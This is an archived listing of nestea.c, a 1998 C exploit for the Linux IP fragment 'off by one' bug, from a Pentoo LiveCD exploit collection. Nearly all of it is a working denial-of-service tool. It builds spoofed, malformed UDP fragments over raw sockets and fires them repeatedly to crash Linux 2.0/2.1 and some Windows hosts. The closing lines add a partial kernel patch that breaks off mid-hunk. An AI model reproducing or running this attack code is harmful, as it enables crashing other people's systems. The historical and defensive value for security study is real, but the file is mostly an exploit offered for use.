home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / nestea.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  273 lines
  1.                     // nestea.c by humble of rhino9 4/16/98
  2.                     // This exploits the "off by one ip header" bug in the linux ip frag code.
  3.                     // Crashes linux 2.0.* and 2.1.* and some windows boxes
  4.                     // this code is a total rip of teardrop - it's messy
  5.                     // hi sygma
  6.  
  7.                     #include <stdio.h>
  8.                     #include <stdlib.h>
  9.                     #include <unistd.h>
  10.                     #include <string.h>
  11.                     #include <netdb.h>
  12.                     #include <netinet/in.h>
  13.                     #include <netinet/udp.h>
  14.                     #include <arpa/inet.h>
  15.                     #include <sys/types.h>
  16.                     #include <sys/time.h>
  17.                     #include <sys/socket.h>
  18.  
  19.                     // bsd usage is currently broken because of socket options on the third sendto
  20.  
  21.                     #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  22.                     /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  23.                     #define FIX(n) (n)
  24.                     #else /* OpenBSD 2.1, all Linux */
  25.                     #define FIX(n) htons(n)
  26.                     #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
  27.  
  28.                     #define IP_MF 0x2000 /* More IP fragment en route */
  29.                     #define IPH 0x14 /* IP header size */
  30.                     #define UDPH 0x8 /* UDP header size */
  31.                     #define MAGIC2 108
  32.                     #define PADDING 256 /* datagram frame padding for first packet */
  33.                     #define COUNT 500 /* we are overwriting a small number of bytes we 
  34.                     shouldnt have access to in the kernel. 
  35.                     to be safe, we should hit them till they die :> */
  36.  
  37.                     void usage(u_char *);
  38.                     u_long name_resolve(u_char *);
  39.                     u_short in_cksum(u_short *, int);
  40.                     void send_frags(int, u_long, u_long, u_short, u_short);
  41.  
  42.                     int main(int argc, char **argv)
  43.                     {
  44.                     int one = 1, count = 0, i, rip_sock;
  45.                     u_long src_ip = 0, dst_ip = 0;
  46.                     u_short src_prt = 0, dst_prt = 0;
  47.                     struct in_addr addr;
  48.  
  49.  
  50.                     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  51.                     {
  52.                     perror("raw socket");
  53.                     exit(1);
  54.                     }
  55.                     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  56.                     < 0)
  57.                     {
  58.                     perror("IP_HDRINCL");
  59.                     exit(1);
  60.                     }
  61.                     if (argc < 3) usage(argv[0]);
  62.                     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  63.                     {
  64.                     fprintf(stderr, "What the hell kind of IP address is that?\n");
  65.                     exit(1);
  66.                     }
  67.  
  68.                     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  69.                     {
  70.                     switch (i)
  71.                     {
  72.                     case 's': /* source port (should be emphemeral) */
  73.                     src_prt = (u_short)atoi(optarg);
  74.                     break;
  75.                     case 't': /* dest port (DNS, anyone?) */
  76.                     dst_prt = (u_short)atoi(optarg);
  77.                     break;
  78.                     case 'n': /* number to send */
  79.                     count = atoi(optarg);
  80.                     break;
  81.                     default :
  82.                     usage(argv[0]);
  83.                     break; /* NOTREACHED */
  84.                     }
  85.                     }
  86.                     srandom((unsigned)(time((time_t)0)));
  87.                     if (!src_prt) src_prt = (random() % 0xffff);
  88.                     if (!dst_prt) dst_prt = (random() % 0xffff);
  89.                     if (!count) count = COUNT;
  90.  
  91.                     fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
  92.                     fprintf(stderr, "Death on flaxen wings (yet again):\n");
  93.                     addr.s_addr = src_ip;
  94.                     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  95.                     addr.s_addr = dst_ip;
  96.                     fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  97.                     fprintf(stderr, " Amt: %5d\n", count);
  98.                     fprintf(stderr, "[ ");
  99.  
  100.                     for (i = 0; i < count; i++)
  101.                     {
  102.                     send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  103.                     fprintf(stderr, "b00m ");
  104.                     usleep(500);
  105.                     }
  106.                     fprintf(stderr, "]\n");
  107.                     return (0);
  108.                     }
  109.  
  110.                     void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  111.                     u_short dst_prt)
  112.                     {
  113.                     int i;
  114.                     u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
  115.                     u_char byte; /* a byte */
  116.                     struct sockaddr_in sin; /* socket protocol structure */
  117.  
  118.                     sin.sin_family = AF_INET;
  119.                     sin.sin_port = src_prt;
  120.                     sin.sin_addr.s_addr = dst_ip;
  121.  
  122.                     packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
  123.                     p_ptr = packet;
  124.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  125.  
  126.                     byte = 0x45; /* IP version and header length */
  127.                     memcpy(p_ptr, &byte, sizeof(u_char));
  128.                     p_ptr += 2; /* IP TOS (skipped) */
  129.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
  130.                     p_ptr += 2;
  131.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  132.                     p_ptr += 2;
  133.                     *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
  134.                     p_ptr += 2;
  135.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  136.                     byte = IPPROTO_UDP;
  137.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  138.                     p_ptr += 4; /* IP checksum filled in by kernel */
  139.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  140.                     p_ptr += 4;
  141.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  142.                     p_ptr += 4;
  143.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  144.                     p_ptr += 2;
  145.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  146.                     p_ptr += 2;
  147.                     *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */
  148.  
  149.                     if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
  150.                     sizeof(struct sockaddr)) == -1)
  151.                     {
  152.                     perror("\nsendto");
  153.                     free(packet);
  154.                     exit(1);
  155.                     }
  156.  
  157.                     p_ptr = packet;
  158.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  159.  
  160.                     byte = 0x45; /* IP version and header length */
  161.                     memcpy(p_ptr, &byte, sizeof(u_char));
  162.                     p_ptr += 2; /* IP TOS (skipped) */
  163.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
  164.                     p_ptr += 2;
  165.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  166.                     p_ptr += 2;
  167.                     *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
  168.                     p_ptr += 2;
  169.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  170.                     byte = IPPROTO_UDP;
  171.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  172.                     p_ptr += 4; /* IP checksum filled in by kernel */
  173.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  174.                     p_ptr += 4;
  175.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  176.                     p_ptr += 4;
  177.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  178.                     p_ptr += 2;
  179.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  180.                     p_ptr += 2;
  181.                     *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */
  182.  
  183.                     if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
  184.                     sizeof(struct sockaddr)) == -1)
  185.                     {
  186.                     perror("\nsendto");
  187.                     free(packet);
  188.                     exit(1);
  189.                     }
  190.  
  191.                     p_ptr = packet;
  192.                     bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
  193.                     byte = 0x4F; /* IP version and header length */
  194.                     memcpy(p_ptr, &byte, sizeof(u_char));
  195.                     p_ptr += 2; /* IP TOS (skipped) */
  196.                     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
  197.                     p_ptr += 2;
  198.                     *((u_short *)p_ptr) = htons(242); /* IP id */
  199.                     p_ptr += 2;
  200.                     *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
  201.                     p_ptr += 2;
  202.                     *((u_short *)p_ptr) = 0x40; /* IP TTL */
  203.                     byte = IPPROTO_UDP;
  204.                     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  205.                     p_ptr += 4; /* IP checksum filled in by kernel */
  206.                     *((u_long *)p_ptr) = src_ip; /* IP source address */
  207.                     p_ptr += 4;
  208.                     *((u_long *)p_ptr) = dst_ip; /* IP destination address */
  209.                     p_ptr += 44;
  210.                     *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  211.                     p_ptr += 2;
  212.                     *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  213.                     p_ptr += 2;
  214.                     *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
  215.  
  216.                     for(i=0;i<PADDING;i++)
  217.                     {
  218.                     p_ptr[i++]=random()%255;
  219.                     } 
  220.  
  221.                     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  222.                     sizeof(struct sockaddr)) == -1)
  223.                     {
  224.                     perror("\nsendto");
  225.                     free(packet);
  226.                     exit(1);
  227.                     }
  228.                     free(packet);
  229.                     }
  230.  
  231.                     u_long name_resolve(u_char *host_name)
  232.                     {
  233.                     struct in_addr addr;
  234.                     struct hostent *host_ent;
  235.  
  236.                     if ((addr.s_addr = inet_addr(host_name)) == -1)
  237.                     {
  238.                     if (!(host_ent = gethostbyname(host_name))) return (0);
  239.                     bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  240.                     }
  241.                     return (addr.s_addr);
  242.                     }
  243.  
  244.                     void usage(u_char *name)
  245.                     {
  246.                     fprintf(stderr,
  247.                     "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  248.                     name);
  249.                     exit(0);
  250.                     }
  251.  
  252.                     SOLUTION
  253.  
  254.                     Apply the following patch to icmp_fragment.c in your
  255.                     kernel (fixes for Windows not yet determined).
  256.  
  257.                     (Patch from Alan Cox)
  258.  
  259.                     --- ip_fragment.c.old Thu Apr 16 12:25:34 1998
  260.                     +++ ip_fragment.c Thu Apr 16 12:29:02 1998
  261.                     @@ -375,7 +375,7 @@
  262.                     fp = qp->fragments;
  263.                     while(fp != NULL)
  264.                     {
  265.                     - if (fp->len < 0 || count+fp->len > skb->len)
  266.                     + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len >
  267.                     skb->len)
  268.                     {
  269.                     NETDEBUG(printk("Invalid fragment list: Fragment over
  270.                     size.\n"));
  271.                     ip_free(qp);
  272.  
  273.